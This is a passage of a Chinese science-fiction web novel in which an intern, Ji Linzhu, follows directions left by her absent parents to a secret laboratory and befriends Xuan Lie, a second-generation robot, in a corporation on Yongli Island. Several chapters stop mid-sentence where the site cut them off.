屏气凝神往前走,尚不管栅栏后的黑暗中藏着什么,单看这其中几根栅栏上触目惊心的抓痕和焚烧留下的印迹,就足够把来者尽数吓退。 “玄烈,你知道这里面都关着什么吗?” “可能是一二代尚未开发完全或者是有危险的机械体。” 微薄的光中,玄烈看着纪凛烛因害怕而紧紧攥着拳头的手。 “应该,应该再走十米就能转弯了,转到c区再下一层,再,再走二十米乘一个向下的扶梯,再走十五米,左转,再走三十米,左转就到了……” 除却纪凛烛暗地的嘟囔声外,她沉郁且不规律的呼吸声也极其明显。视野里都是昏暗,纪凛烛干脆闭上了眼默念着。 “转弯。” 玄烈的声音让纪凛烛一惊,立刻睁开眼才发现自己险些撞了墙,这才又浑浑噩噩地拐了弯。 “你怎么知道去实验室的路?”玄烈问。 就这样无声地走着,玄烈发觉纪凛烛的惶恐似乎松懈了下来,嘴角还似有似无地扬着笑。 “玄烈,在你的后台,会有人时时刻刻监控着你在想什么做什么吗?” 突然冒出的问题有些让玄烈无措,出乎他自己的预料,他竟希望自己能够回答“没有”,可是他没有说谎的能力,只能诚实地点头。 “那我下回再告诉你吧。”纪凛烛边说着边回头给了玄烈一个明媚的笑容。 随之二人一起凭借着通行证离开这诡异之地,来到光线明亮的走廊,路过一排排机械傀儡,看来这一部分是安置某支小部队的地方。不敢多留,二人快步离开,生怕惊扰了其中的一只,让他们均殒命在此。 一路无言,纪凛烛一门心思想着这通行证还真好用,看这畅通无阻的意思岂不是能逛遍舜氏整栋大楼?说不定还能跑到董事长办公室里摸一杯水喝。 而另一边玄烈正来来回回计算着方才纪凛烛提问时如果他摇摇头会不会结果不一样,但结果都是他不可能做出否定的举动,毕竟是机器人,欺骗人类也会算作反抗和变相攻击人类的一种吧,玄烈突然在二十年来首次产生了深深的好奇。 实际距离并不算远,可二人硬是走了将近二十分钟,才得以来到那机密实验室的门口。这是一幽暗角落,似乎已然处在边缘的边缘。 一开始二人都没有发现,因为这实验室的门竟如一整堵墙一般严密无缝。就着远处走廊上投射来的余光,纪凛烛隐约能看出这门属银灰色,高两米出头,无比光滑的触感仿佛在万年冰洞中抚摸一块成型了上亿年的冰,又像是块玉,寒气逼人。 摸索着,纪凛烛忽感触到了一条非常隐秘的缝隙,她急忙叫玄烈也试探一番,最后二人终于勉强顺着缝隙勾勒出一块有半米边长的正方形。 然后呢?纪凛烛想着是不是自己走错了路,一边盘算一边用通行证在壁上来回扫着,无果,转头看到黑暗中的玄烈目不转睛地看着眼前这块墙。 “你来过这?” 玄烈眨了眨眼,没有说话,上前一步拿过纪凛烛手中的通行证,踮起脚,将那通行证放于这面墙的最高处,也是最中心。在纪凛烛疑惑的目光中,飞快将通行证贴着墙壁直直划下。 瞬间,一道白光顺着通行证的行迹路线出现,似乎带着“嗞嗞”作响的电流声,一条完整的裂口形成,这下才有了门的样子。 与此同时,门上那块正方形的边角也一刹那发出同样的光,随后光芒消逝,在正方形内亮起五块形状不规则的感应板。 “莫非,这就是打开这扇门所需要的钥匙?” 五块感应板中有三块带有缺口,其中一个画着足足有半个篮球大小的环形,另外两个则显示着一模一样却上下相倒的叶子形状,不过四厘米大小。其余两个特殊的格口则不同,一边仿佛指纹解锁,另一边则仅仅安置着一粒极其微小的感应器。 别的还好懂些,这第五个实在令人摸不着头脑。纪凛烛仔细观察着,忽地皱起眉头,“这不会是虹膜识别吧?” 闻声,玄烈也趴在那感应器上看着。 只见那感应器突然嗡嗡作响,散射出肉眼难见的奇怪光束,在二人呆滞之余,单单扫描一瞬,这一块带着感应器的区域则“咔哒”一声竟缓缓移开,透出背后实验室内的景象。 “什么情况!”纪凛烛惊呼。 二人均惊慌地看向室内,似乎依然被某种装置干扰,一切景象映在二人眼中都变得无比虚幻,仿佛天旋地转难以注目,只能隐约辨认出其内部场中被一束光直直照着的一张金属桌,桌上摆着什么尚不明,其余装饰和平常的实验室没两样,而桌后他们所正对的区域有一块大到足以撑满整个视野的显示屏。 虽然好像在透过一层泛黄的扭曲滤镜窥探这一切,但纪凛烛还是感到一股从心底涌起的平和暖意,缓慢而悠长,仿佛她一出生便生活在这里,从未离开。< 6. 第 6 章 《暗号是地表最强机械体》全本免费阅读 不知道出于什么缘故,集团上下忙得一团乱,同宿舍的“百晓生”偷偷摸摸告诉她们是一个实验出了岔子,导致公司研发的机器巨人异常躁动。或许是私自研发过于残暴的机器人未得有关部门允许,于是全公司都在尽力隐瞒和处理这件事。 “我在厂房的后门附近还瞄到他们在偷偷往外运尸体!” 纪凛烛的美梦在听到如此骇人的消息后彻底消失无踪。她从凌晨两点回到宿舍后睁着眼躺到天亮,终于在早上第一缕明媚的阳光隔着窗帘刺痛到她的心的时候,带着隐隐作痛的太阳穴起了床。 虽说和玄烈的约定被设在下午一点半,但她无论如何挣扎也讨不来这个懒觉。简单洗漱过后换上了公司发的工作服,板板正正的,甚是难受。 她站在洗漱台前梳起高马尾,开始审视自己。哪里像妈妈多一点?又有哪里像爸爸呢? 爸爸妈妈会喜欢她有刘海的样子吗?纪凛烛想起中学时期曾孤单坐在大伯家冰凉地板上的自己,而比她小两岁的表妹正兴致冲冲给她剪头发。 因为当时正时兴那样薄薄的微卷空气刘海,表妹从大街上回来给大伯一家兴奋地比划着这样的发型究竟多么时髦,可又犹犹豫豫不敢下手。 于是在表弟的怂恿下,两个小孩拦住纪凛烛去厨房做饭的脚步,连推带拽将她拉到客厅中间,对着大伯和蔼的笑和手机镜头,面目狰狞地挥舞着手中的大铁剪。 一缕缕轻盈的碎发天女散花似的下落,剪刀“咔嚓”不停的声响正在脸上嚣张,纪凛烛在他们的欢笑和恐惧的耳鸣中感受着充满寒意的尖锐金属在她皮肤上留下惊心动魄的触动。 似乎从那一刻体质变得脆弱容易受惊吓来着。 要是毁了容,和爸爸妈妈再见的时候,他们还能认得出我吗? 想到这里,纪凛烛轻轻碰上房门,踏上了前往食堂的路。现如今已经不是能够因为这点破事就止不住流眼泪的时候。自她考上大学,自她赚到第一份薪水,自她踏上永璃岛第一步开始,过往的事似乎都翻篇了。 这都源于那封署名为她父母的信。 从小成绩优异,于是纪凛烛十六岁便踏进了大学的门槛。那时十九岁的她正值大三,正是该考虑以后的路怎么走的时候。正逢夏夜,碰巧兼职的工作室坏了空调。 在潮热难挨中,她独自伴随着无尽的蝉鸣和杯壁上结满水珠的冰美式,无论如何也无法安心继续加班。这样合适的契机,她在信箱中发现那封躺了将近有半年的信件,信封上空荡荡的,只潦草写着收件人纪凛烛和寄件人纪棠烬。 纪凛烛在族谱上看到过,这就是她父亲的名字。可能是无意中掉进了夹层,险些让她就此永远错失了父母留给她爱的痕迹。 开篇是“亲爱的孩子”,随后跟着两句字迹不同的语句,分别是“我是爸爸”、“我是妈妈”,为了方便,而后便都是“爸爸”的笔迹。 窝在工作室的一角,纪凛烛泪如泉涌将手中信读了上百遍。 信中,他们自我介绍到大学毕业后一齐登上了永璃岛,并加入了舜氏,正式成为工程师,参与大大小小的实验与科研项目,成就斐然,日子也舒心快乐。 但渐渐的,他们意识到公司内部似乎出现了割裂,人们因理念不合而划分成几个派别,纷争不断。“妈妈”曾不断劝说“爸爸”离开这趟浑水,但由于舍不得自己的成果,他们终究还是被迫牵扯了进去,时至今日已然无法抽身,恐被奸人所害,只怕下场不祥。 写这封信的目的就是为了多少能留给他们即将要出世的孩子一点念想。 只有这些吗?纪凛烛望着那张脆弱信纸上的寥寥几笔。 在这之前,她对父母的了解也仅仅止步于照片上模糊的人影。那是她刚高考完那年暑假,正当她想办法赚钱筹学费的时候,奶奶偷偷塞给她父母结婚时候的照片和两万块钱,提了两句过去的事情。 奶奶和爷爷本是重组家庭,在大伯十五岁、亲生母亲逝世后,他才来到现在的奶奶家,奶奶的原话是“棠烬这孩子,小时候很不懂事,常常东跑西窜、上房揭瓦,但只有他哥常被打骂,”也正是爷爷对大伯的过于严苛,导致他一成年就离开了这个伤心地。 等到三十多岁回家时,攒了些小钱和一身的累病,爷爷也早已去世了。后来是他一直在照顾身体奇差的奶奶。二十年前永璃岛大地震的哀讯传回,大伯张罗着办了葬礼,默默将襁褓中的纪凛烛抱回了家。 说到这里,奶奶频频为大伯这么多年来的苛待道歉,情绪起伏哀伤,话音渐落。纪凛烛替奶奶拭去眼泪、合上了眼。 回忆到这里,结合手上的信,父母的身影逐渐变得模糊而神秘起来。父母想留给她的话,只有这些吗?或者说,他们还完好地活着?那么这封信的目的又是什么? 背面,纪凛烛这才看到了背面。 短短几行字,“爸爸”的字迹比之前潦草了些许,但还是可以分辨出来,这似乎是新写的。 【近日在收拾房间时无意发现了这封暂未寄出的信,于是仔细思虑后还是选择添几笔给你寄去。缺席了你的成长历程,爸爸妈妈十分愧疚,只是依旧苦于难以脱身,不得不这样对你发去问候。我们依旧选择在舜氏完成理想,你也要努力学习,早日成为自己想成为的人。】 【妈妈对你的期望是,别太辛苦,健康自由就好。别忘了随信附带的那张卡,那是舜氏大楼的通行证。如果你想,你可以走a区负八层到c区负九层,走二十米乘向下的扶梯,十五米左转,再走三十米左转,就到了我和你妈妈曾经工作过的实验室。】 【我们给你留了礼物。孩子,我们终有一天会再见的。】 应该笑着对吧?知道他们还活着,至少也是笑着流泪的对吧? 可是此刻竟只留下些许应付差事般的疏离感。 纪凛烛才发现她其实一直在自我麻痹,艰苦的童年中她一直秉持着“总有一天会骄傲地站在父母面前”的思想,不管是对他们的思念抑或是叛逆,叛逆地想告诉他们“没有你们我活得一样好”,这才长久地将委屈和成长的阵痛全部隐藏在心里。 原来我在他们心中也不是很珍贵的样子。 她心里憋着一口气,无论他们遇到了什么事、无论是什么可怕的事情阻止他们,纪凛烛都想搞个明白只求心安。就当是对父爱母爱的向往,她暂时还不想梦碎。 但她想不明白,把整封信来来回回地看也寻不出什么蛛丝马迹,想方设法致电邮局也无果,只好打开电脑查询关于永璃岛的资料。 数不尽多少年前,永璃岛从周边永颉群岛剥离自成一家,反倒从无尽战争灾祸中实现了解脱。千百万驻岛军队一撤退,永璃岛便如获新生一般短短数年发展迅猛,直至有了后来的安详生活。当然,这安详生活几乎截止在二十年前。 永璃岛当真是无愧这名字,风光壮美秀丽,群山连绵不断,以及大片扫兴的灰土土厂房,与其捆绑着的是“舜氏”极其醒目的招牌。 舜氏作为永璃岛本土企业已诞生上百年,而又由舜氏制造的机器兵军团和政府的永璃警所共同管辖和保卫永璃岛。 近年朝局动荡,永璃警的 7. 第 7 章 《暗号是地表最强机械体》全本免费阅读 正想着,手机消息提示音“嘀”的一声响起。提起手机,是玄烈发来的消息。 “你还好吗?” 纪凛烛想到自己昨晚的样子很可能给玄烈留下了自己命不久矣的印象,于是急忙回复着,“很好很好我很好!” 殊不知另一边玄烈绞尽了脑汁才打出来这么几个字。 他本不想让阿盼知道,否则又要多事。结果阿盼一个箭步冲上来目光炯炯有神问玄烈在和谁聊天,搞得玄烈实在难以隐藏,于是阿盼就长篇大论从“如何与女性人类聊天”扯到了“如何博取女生欢心”,玄烈只得短暂屏蔽了阿盼的讯号,依旧费尽心机左思右想才又打下了几个字,“中午见。” 很快便得到了回复,“好!” 午前,阳光正好,微风阵阵从飘窗溜进来,缕缕清爽。纪凛烛离开食堂左绕右绕才绕到了公司内最大的图书馆,这里是不需要工牌也能任意进出与借读的非私人领域,比门外严密冷峻又充满监控的金属环廊温暖得多。 她曾在那神秘网站上看到过许多父母以及同事随手拍的照片,其中有两张即是父母在这个图书馆照的。 那时似乎他们还未结婚,母亲长长的麻花辫搭在肩上,手中环抱着一本类似机器人维修指南的书,轻靠在身后的书架上,抬头浅笑着看向貌似正滔滔不绝侃大山的父亲,第二张则是偷拍被发现的样子,母亲面颊微红,略带慌张地看着镜头,父亲则蹙起眉头,撇嘴笑着比了个“耶”的手势。 纪凛烛想看看这本书。她轻手轻脚越过自习室排排座椅,险些惊动了一位正专心琢磨烹饪的机器人,才终于来到远不见头的无尽书架。这里包罗万象,藏书数目远超她大学图书馆的五倍不止。 幸好自己在大学当图书管理员时没有碰到这么多的书,不然可真是要费死劲了。 几圈下来,纪凛烛还是没有找到那本书,有书名差不多的,封面配色却不同,有样式差不多的,居然又是讲花卉养殖的!她感到眼花缭乱,都快要不认识汉字了。双腿更是发出警告,要是继续走下去的话,它们恐怕就要离家出走了。 但她似乎发现了那排与照片背景上相似的书架,书的大致内容都是关于小动物护理与野兽驯服的。纪凛烛心绪复杂异样,步幅沉重地站在与她母亲所站差不多的地方。 那是种什么样的感觉呢?事业有成、好友众多,面前站着可以托付真心、并且深爱着她的男人,她会想过有一天自己的孩子也会站在这里为她伤感吗? 纪凛烛从对面书架扯下来一本《时间简史》,被人为包上了深蓝色星光点缀的书皮,却没有署名。它不该出现在这里,应该是被放错了。在好心将它放回原处之前,纪凛烛谨慎地翻开扉页,里面夹着一张边角泛黄的借书单。 上面依稀写着六七个名字,却不知道被什么人给一口气涂掉了,只大概露着一些破碎的名字,例如“赋”什么、“铮”什么的,但所幸末尾的一个名字没有遭难,却不见日期。 纪棠烬。 但还没等纪凛烛做出什么反应,身侧突然响起一老者沙哑的声音。 “你也喜欢看这书吗?” 循声望去,纪凛烛看到一张脸带善意、笑眼盈盈的面孔和胸前的工作牌。这位中年男人身穿一纯白衬衣,下摆紧紧扎在牛仔裤里,头发打着卷,半长不短地垂着,颇有艺术家气息,整个人神采奕奕,看上去并没有被某些科研项目荼毒过。 是她听错了? 纪凛烛一时没有缓过神来,对方却投来充满歉意的眼神,“抱,抱歉啊,打扰你了。我没有别的意思,我是图书管理员,刚才看你在这附近兜了好几圈,以为你是丢了什么,所以来问问,不好意思哈。” 她没听错,那深沉嘶哑的嗓音确来自面前这位中年男人之口,这才意识到自己的沉默显得不太礼貌,慌张开口,“没有没有,只是闲逛,谢谢啊。” “你是舜氏的员工吗?” “是的。” “这本书,很有意思,对吧?” 纪凛烛一愣,她从头到尾几乎只是盯着借书卡看,难以回答,只腼腆地笑笑。但男人并没有在意她的回答,自顾自念叨,“我还挺喜欢这本书的,前前后后、翻来覆去看了很多遍。如果没记错,那张借书卡上第一个名字应该是我。” 但话音未落,那人就瞟到纪凛烛手中的借书卡,不自觉地惊呼了一声,伴随他那沧桑的嗓音,活像自行车胎被扎破却依然顽强地行驶在路上。 “怎么变成这样了!”那人一个箭步冲上来捧起身穿百孔的借书卡,深情很是惋惜。 她不语,因为不知道该说些什么。幸好那人很快拾起理性,说要换张完好的借书卡。 “这个不要了,可以给我吗?” 那人有些吃惊,“可以是可以……你拿去吧……咳咳……” 纪凛烛刚接过借书卡,那人却不受控地咳个不停,纪凛烛想帮忙看看是否吃点药什么的,那人却摆摆手,一通捶胸顿足,这才回上来一口气。 “不好意思,早上忘记吃药,让你跟着受惊了。你肯定想,我看起来年龄也没有那么大,怎么嗓子就成这样了?” 那人边讲边大口喘气,此刻真正像个命不久矣的老头倚在一边,“我小时候淘气,吃饭总喜欢叼着筷子玩,一不留神就捅进去了,后来去医院看病,又检查出来身体到处是毛病,花了不少钱才保下来一条命……咳咳……” 前去拿新借书卡的路途漫长,那人不得已走走停停,纪凛烛听他絮叨,偶尔陪陪笑。 “你是,咳,实习生吗?” 纪凛烛一顿,“是。” 那人仿佛来了兴致,“那你们,最近是不是在搞什么与机器人配……” “认知任务。” “啊对对对,咳咳,认知、认知。那你选了几代的机器人啊?” 想不到这个图书管理员对他们集团这部分业务了解还不少,“二代。” “哦……二代?咳咳!”忽然的咳嗽加剧让纪凛烛吓了一跳,开始思索自己是不是说错了话。 不过幸好那人只是猛烈的咳了两声便停息,“那可都是些老家伙了,你们这些新鲜血液不应该多研究研究四五代吗……” 纪凛烛未言,礼貌性微笑点了点头。 终于走到了门口,那人先是抓起自己的水杯狠狠吞了口药,才取出崭新的空白借书单,不由得感慨,“我们那时候流行飙着劲比赛读书,又热衷于大家坐在一起读,就轮流在借书卡上写下自己的名字,就好像是某种友情的见证……我原以为这张纸能一直流转下去,直到有一天我们都不在了,它还带着我们的笔记活在这本书里,没想到这才二十多年,就……要是被我抓到是谁在乱涂乱画,还把书乱摆乱放的话!我一定!咳咳……” 豪情壮志还未抒发,就极其憋闷地消散在几声咳嗽里,那人表情痛苦。听到这里,纪凛烛心生疑虑,她缓缓拿出那张写有她父亲名字的借书单,指给那人看,“这个人,您认识吗?” 那人只是粗略扫了一眼,边大口灌水边摇了摇头。 事已至此,即使那人或许在二十年前曾与她父母有过一面之缘,也都不重要了,不过她也没打算能发现些什么,只是想回顾父母的经历,走一段他们可能走过的路罢了。 纪凛烛向那人道谢,那人却放下水杯真诚地望着纪凛烛,“刚才转来转去那几圈,找到了什么?” 纪凛烛错愕,但她声色未动,沉思了两秒,更加真诚地扬起笑容,“找到了些念想。” 8. 第 8 章 《暗号是地表最强机械体》全本免费阅读 半晌,两人走着走着,登上了高处的观众席。阳光刺眼,玄烈看到纪凛烛眯起的眼睛。 下方场地上的几条队伍正在进行负重拉力赛,另外一边则规规矩矩站成方阵听主席台上领导讲话,非常热闹。纪凛烛步履缓慢在前面晃悠悠地走着。既然享受阳光就得连同阳光带来的刺眼一同包容。 玄烈也悠悠地跟着。 他上午拜托杨宁看了看受伤的手臂,却得到了杨宁意味深重的眼神,竟使杨宁一反常态严肃起来。 “你还记得那些箭长什么样子吗?” 玄烈表示光线太暗、速度太快,他没看清。 杨宁并没有多言,只是修好了他的手臂,嘱咐了一句,“下次再看到相似的箭,能躲则躲,不要硬抗”,到最后也并没有疑惑玄烈是怎样跑了下去,更没有责备他。 想到这里,玄烈摸了摸修理完好的手臂,抬起手拍了拍纪凛烛的肩膀。 纪凛烛一转身,一颗杨桃味硬糖摆在面前。 “这是,给我的吗?” 玄烈郑重点点头,“你中午没有吃饭,会低血糖。” 听到这话,纪凛烛讶然,但她还是接下了那颗糖,“你怎么知道我没吃饭?” “我想尽早见面,就在食堂等你好久,后来我去问信息台,她们说今天你只有早上去过。而且……” 玄烈话至此却忽然停住了,纪凛烛看不懂他的神情,“而且什么?” “我在系统里找到你的资料,上面写你没有过往病史,只是很容易低血糖。所以,我去售货机买了一些”,说到一半,玄烈似乎带有笨拙的激动,“我不知道吃多少就不会低血糖,所以我买了一包,如果不够的话,你再跟我说。” 正常流程来说,纪凛烛应该开始感动了,但她暂时还没有,因为看到玄烈从身后掏出巨大一包杨桃味糖果,看样子,几乎有半个普通的饮料售货机那么大! “哇!玄烈!你也太夸张了吧!你从哪拿出来的啊!” 玄烈手抱一大包糖果开心至极,闪亮着眼睛看向纪凛烛,“压缩。可是我的能力也只够把这些压缩起来了,不然我还能拿来更多。” “啊不要了不要了!”纪凛烛连忙摆手,“这些就够,这些就够。谢谢你呀玄烈,这些够我吃到这辈子都不会犯低血糖了……” 没来得及说更多,阵阵骚动从下方的场地传来。两人一齐往下看,不知什么时候竟多出几架高大的重甲机械体,而且他们之间貌似发生了不小的矛盾,几乎就要打起来了。躁乱中,有人高声呼救,有人巴不得事情再搞大一些,有人着急寻求支援。 看到这场景,纪凛烛和玄烈立刻飞快跑了下去,跑向人堆,想试试看能否帮到些什么。 不成想,在二人一齐涌上去时,后方又扑来更多的人,硬生生将纪凛烛和玄烈挤散了,他们无法找到对方,也无法从拥挤中脱身。 就这样四下吵闹着,玄烈被挤到了靠近前排的位置。他这才看清了内里的形势,原来其中两个机械块头在分发训练器材产生了争执,地上摞着、堆叠着许多已然被损坏的金属架和软垫。 他们怒目相对,分别高举起紧紧攥拳的手臂,无不呲牙发出低沉的怒吼,看上去都渴望拼了命捣对方一拳,而他们的身后也同时有许多工作人员和机器人在拦腰阻截,使劲想将双方拉开。 在混乱中,不知是谁看热闹不嫌事大,喊了一句“在怒值到一定程度下的重甲机器人将有几率可以不收监测台控制”。被挤到后方的纪凛烛观察着紧张的局势,忽然有点想笑。 两个大块头是争执不下这不假,可他们高傲挥起的手臂实则并没有像看上去那样铆足了劲,他们都想耍威风,却谁都不敢先行一步下手,于是同时渴望着大家能将他们拉开,就好像他们是被迫因为不可抗力而熄火,这样既安全,又赚足了面子。 但支援迟迟没到又让他们小伎俩没能成功,毕竟他们也没想到这些个人根本没那么大力气能将他们拉开,于是就产生了争执不下的局面。 没工夫陪他们在这耗,更何况大多数人只是为了看戏,根本没打算叫什么重装保安来支援,纪凛烛有点不爽,她在人群中被挤得有些喘不过气了。 “阿烛,阿烛!” 玄烈被拥在叽叽喳喳一片中艰难地发出呼喊,却成功让纪凛烛发现了他。 但实际来说,并不是纪凛烛听到了玄烈的叫喊,而是在一堆向前簇拥的后脑勺中,唯有玄烈转过身来想要逃离。 “你有没有小刀之类的。”纪凛烛问。 玄烈拨开人群,终于是挤到纪凛烛身边,从小腿后侧抽出一枚不过手掌大小的小飞刀,递给纪凛烛,“你要做什么?” 纪凛烛沉默一笑,她瞄准了目标,趁身旁人被前边人踩脚而嗷嗷叫个不休的时候,用力一甩,那银亮的尖刃便擦过逆势吹来的清风,飞到两个块头之间,直直扎到他们脚底可怜的破烂训练器材。 和她预想的差不多,两堆人群先是一齐懵住,又在艰难地支撑两秒后泄了气,两个块头的脸上写满了尴尬和无所适从。人群似乎并不为此感到惊讶,反而传来阵阵失望的声音,慢慢地四散开。 身边几个面相不善的人离开时还嘟囔着什么,表情不满目中无人直接撞着纪凛烛肩膀走过。 纪凛烛自然不爽,却只当作街头混混没有理睬,谁知玄烈竟突然怒起,直接推了打头撞纪凛烛的那个人,险些将其掀翻在地。 玄烈也暗自愣了一下,似乎连自己都没太反应过来。或许是昨晚让他信心倍增,再也不甘于被欺负,逐渐坚强起来。 那人趔趄几步转头发现是一机器人,不知怎么竟熄了火,咒骂了一声便悻悻然离开。 “哦!很帅嘛!”纪凛烛挑起眉毛扬扬下巴,表示肯定。搞得玄烈有些不好意思,愣愣地点了点头。 可是刀呢? 纪凛烛一转头想去找那只刀,却发现地上空空如也。她呆滞住了,心想坏了,不会被刚才收拾器材的那波机器人一齐收走了吧?那她还得去找配套的小刀给玄烈赔一支! 她的目光四处游走,刚想开口询问玄烈有没有见到那刀的下落,却忽然感到肩膀被拍了一下。 “要找这个吗?” 那只刀降落在眼前,纪凛烛一把抓过,立即警觉地扭头,看到那双笑起来眼角满是褶的眼睛正慈祥地看着玄烈。 “杨叔。”玄烈先开口。 “今天下午没有课吗?”那人闲庭信步走到玄烈身边,就在玄烈刚要回答问题的时候,那人忽地向纪凛烛开口,“你好呀,我是杨宁,是……”转头看一眼玄烈,“二代机械体总负责人。” 玄烈似乎看出纪凛烛的警惕,稍稍示意了一个可以信任的眼神,也不知道纪凛烛是否看得出来。 确实,从纪凛烛的角度来看,玄烈只是像个木头一样淡淡瞅了她一眼,反倒搞得她有点无所适从。 难道这人是坏人?! 但纪凛烛把疑虑藏在心里,还是礼貌性回以微笑,“您好,我叫纪凛烛。” 杨宁轻轻笑起来,双手插兜,“明白,你就是互选阶段选择玄烈的实习生。我一开始还不相信,没想到是真的。啊!这里怪晒的,咱们去那儿坐下聊。”边说着,杨宁就自顾自转身迈开了步,玄烈向纪凛烛点点头,转而跟上。 看着杨宁脚下的自信步伐,纪凛烛突然发现他身后衬衫皱起好几个褶,西装裤腰边拴着一乒乓球大小的棉花玩偶,已经被揉得没了样子。来不及多想,纪凛烛抓紧跟上。 想不到这一排排看上去像是机 9. 第 9 章 《暗号是地表最强机械体》全本免费阅读 阿盼从自己衣柜里倒腾出一堆各式各样的衣服,说着要帮玄烈好好打扮一番,但这些衣服套在玄烈身上都太大了,像小孩偷穿大人的衣服耍酷,但玄烈的衣柜基本空空如也,仅有的几件也都是土气的灰黑色,款式还是十几年前流行的样子。 玄烈呆呆地站在衣柜前略显窘迫,阿盼扬扬手说没什么,反正这些衣服也都是他从各地搜罗来又裁剪的,大不了再裁小一些就是了。 一把大剪刀挥来挥去,彩色的布条飘得到处都是,最终玄烈得到了一套充满生机的运动服,白色为主,淡青色与藏蓝色点缀。上身后猛地一看,倒挺像个活力四射的少年,又更像电视上起舞的偶像扮相,与他的头上的银色顺毛相得益彰。 阿盼咧嘴叉着腰傻笑,想着哪天也这样给自己打扮一回,却看到玄烈皱起的眉头。 “不太舒服。” 玄烈一直穿着亚麻色粗布简单缝成的长袖长裤,直筒筒的,硅柱子一样,仿佛下一秒剥去伪装就能送去切片做电池板,现在轻薄又细软的面料轻轻贴在身上让他感到仿佛衣不蔽体,浑身上下都在漏气。 此时收信箱“叮咚”一声,玄烈收到纪凛烛已经到达见面地点的消息,结尾小小的笑脸让玄烈更加局促。阿盼叹了口气,连哄带推将玄烈送上会面的路。 一路上微风习习,走廊的窗户无一例外都大打开着拥抱阳光,拥抱诗一样的好天气。玄烈加快脚步,却让越来越多的目光停驻在他身上,似乎每分每秒都在吸收他的电量。快步绕过几个漫长走廊走到尽头,玄烈看到了一个干练的马尾辫。 迎接他的笑容愈发近,嘴角的漂亮弧度和收信箱里的笑脸一样高高扬起,长长的白色实验室大褂下露出淡藕色花边裙角,机器人的羞耻心此刻膨胀,他下意识以为自己好像真的浑身□□,还不如化成什么金属液,随意往炉子里一扔,重新化学反应形成几个新的玄烈算了。 所幸局促可以伪装成反应迟钝。玄烈带着身后人绕啊绕,其间还走错了几段路,又装作不经意地迂回,才终于到了一方僻静处。这里唯有两张小方桌和几把椅子,离林老师的实验室极近,林老师还在时,他喜欢和林老师在这里看夕阳。 趁玄烈还没有陷入回忆,纪凛烛一把拉开椅子坐下,从包中熟练地拿出本子并摊开。玄烈瞅见本子上面罗列着“与机器人交朋友前必须搞明白的一百个问题”,密密麻麻,还有许多关于机器人各方面的资料,彩色便利贴到处都是,本子上已经写满的前几页,已经几乎要因为便利贴的丰富而膨胀爆开来。 右下角是什么?像是画着一个小人,小人头顶着毛茸茸的、用线条勾勒的白发,头发长度正巧可以将眉毛露出来,似卷非卷、略带凌乱,衣服朴素到不能再朴素,没有花纹不说,甚至还称不上有版型,好熟悉的衣服啊,直筒筒的。小人表情严肃,似乎还有点愤懑的样子,为什么呢?因为皱起的眉头吧。 不对,不是皱起的眉头,只是单纯把眉毛描得好粗! “这,是我吗?” 纪凛烛一开始并没有反应过来,后来突然意识到,急忙想用手捂住,但又想到既然已经看到了,再掩饰也没什么用,“我,一直想学画画,但是画人太难了,想着机器人应该好画些。但这儿的机器人一个比一个有人样儿,根本没有方方正正的……上次你救了我,我回去随手画的…….” “很可爱。” 纪凛烛怔住,一时间感到很不好意思,但困于不知道如何开口。 “但是我,好像没有那么粗的眉毛。” “啊”,纪凛烛再次愣了一下,又飞速从包中抓起橡皮猛地在本上擦拭着,“我改一下,改一下……” 短暂的小插曲过后,两人正式开始今天的任务。从前到后、从简单到复杂,纪凛烛竟然真的将那一百个问题问了个遍,又结合玄烈的回答衍生出许多问题来。 你问我答中,玄烈好奇地盯着纪凛烛手中小本,皮质小本上画着一缩成一团的毛茸茸小鸭子,连纪凛烛手中动个不停的笔上也印着小黄鸭,一跳一跳,玄烈入了神。 “……那么说,你是属于二代对吗?” “是。” “那二代总共有几个机器体呢?我看四五代都成千上万,数都数不过来。” “阿盼和我。” “那一代呢?” “不好说。” “不好说?” “事实上,一代是二代正式定项前所以机器体的统称,具体数量未知,划分也很麻烦,按时间顺序的话,还要分初一代、次一代还有半一代等等,按具体机能划分的话每个机器体几乎都不一样,更不可能了。一代比较特殊,会有半人类的存在。” “半人类?” “我也是在后台大数据中心看到的,大致就是人类肉身的改造和与机械系统的结合。” “天哪!”纪凛烛惊呼。 玄烈木讷地点点头,“有关这点的记载比较少,我已知的就只有一个人。” 一抬头对上纪凛烛疑惑的目光,玄烈就得知她的茫然,“前董事长的女儿,叫舜真。” 纪凛烛恍然大悟,又惊讶地合不上嘴,“那,她怎么会变成……那她……”纪凛烛想问的太多,又觉得确实残忍,不知从哪讲起。 说到这里,她的脑海已经不自觉浮现出那些工程师给人体做手术的场景,他们是如何分离出实验者的皮肉组织,又如何把冷冰冰的带电钢板与之嵌合。 鸡皮疙瘩一身。 “叮”的一声,纪凛烛的手表忽然亮了起来,显示着有新消息,让参加比赛的有关人员尽早知晓。 指尖在手表表盘投射的全息屏上跳转,比赛第一部分的地址、时间与参赛细则赫然展示出来。 “嗯……第一场,永璃岛西部珣魑山无人区,时间是……后天下午三点半……” 琢磨到一半,纪凛烛发现身旁的机器人只是呆滞地坐着。 “你在干嘛?” 大梦初醒一般,玄烈从待机状态恢复神智,“我……” “你没有收到比赛消息吗?” 玄烈发了两秒呆,摇摇头。 “你不参加比赛吗?” “我,不知道。” “不知道?怎么会不知道?” “我,身体不太好。之前,负责我们日常生活操行的老师说不建议我们去参加那些比赛,但是……”玄烈此刻犹豫是否该讲出那陌生私信的事,想了想,还是没有明说,“我,想试试。” 听到这话,纪凛烛笑得灿烂,“那正好啊,既然想就放手去做嘛,我支持你!现在c区大厅在分发比赛相关协议书,应该还是可以报名的,咱们一起去!” 玄烈突然感受到一股莫名的勇气,朋友的鼓励如同一丝暖流,直击某个地方,又似血液般在身体里扩散开。“不过,我还想叫上一个人。” 二十分钟后,玄烈和纪凛烛一起来到房门口。果不其然,阿盼正窝坐在沙发一角,看着电视里的相声小品嘎嘎乐个不停。 “阿盼。” “玄烈!你回来啦!这位是……” 透过阿盼疑惑的眼神,就在玄烈正要替纪凛烛解释时,就在纪凛烛刚要开口做自我介绍时,阿盼突然瞪大了眼,卯足力气大叫道,“我知道!你是玄烈选的那个女生!” 这话刚一出口,纪凛烛就笑了出来,“对,我叫纪凛烛,多多关照!”没想到公司里并不都是玄烈那样闷闷的,这不还是有更活泼的机器人嘛! “阿盼,我想参加那个比赛。” “太好啦玄烈!” 阿盼高兴地就要跳到玄烈身上,却被玄烈不自在地抬手拦了下来,但阿盼也不伤心,接着就兴奋地原地打转。 “太好了玄烈!我们不会死了……唔!” 阿盼说到一半就被玄烈一把捂住了嘴,敏感的纪凛烛还是捕捉到了一些重要信息。 “死?谁会死啊?”纪凛烛试探地问道。 